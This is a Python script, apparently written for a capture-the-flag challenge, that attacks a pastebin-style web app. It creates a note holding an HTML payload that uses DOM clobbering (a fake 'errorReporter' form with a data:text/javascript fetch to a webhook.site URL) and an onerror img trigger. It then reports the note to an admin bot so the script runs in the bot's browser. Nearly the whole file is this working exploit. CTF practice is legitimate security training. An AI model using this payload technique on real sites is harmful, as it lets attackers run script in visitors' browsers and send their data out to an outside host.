#!/usr/bin/env python3
"""
Quick Send - Just sends the simple ping test immediately
"""
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/b8fa597c-f59d-47ea-b708-1760317014ba"

# Simple ping payload
payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,fetch(\'{WEBHOOK}?ping=1\')"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("="*80)
print("🚀 QUICK SEND - Simple Ping Test")
print("="*80)

# Create paste
print("\n[*] Creating paste...")
response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Ping Test", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    note_url = urljoin(CHALLENGE_URL, note_path)
    print(f"[+] Paste created: {note_url}")

    time.sleep(1)

    # Report to bot - use just the path, not full URL
    print(f"[*] Reporting to bot...")
    print(f"[*] Using path: {note_path}")
    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}  # Use path instead of full URL
    )

    print(f"[*] Report response: {report_response.status_code}")
    print(f"[*] Response text: {report_response.text[:200]}")

    if report_response.status_code == 202:
        print(f"[+] Successfully queued!")
        print(f"\n{'='*80}")
        print(f"✅ Bot will visit in ~5-10 seconds")
        print(f"📊 Check webhook: {WEBHOOK}")
        print(f"👀 Look for: ?ping=1 in the URL")
        print(f"{'='*80}")
    else:
        print(f"[-] Failed to report: {report_response.status_code}")
else:
    print(f"[-] Failed to create paste: {response.status_code}")
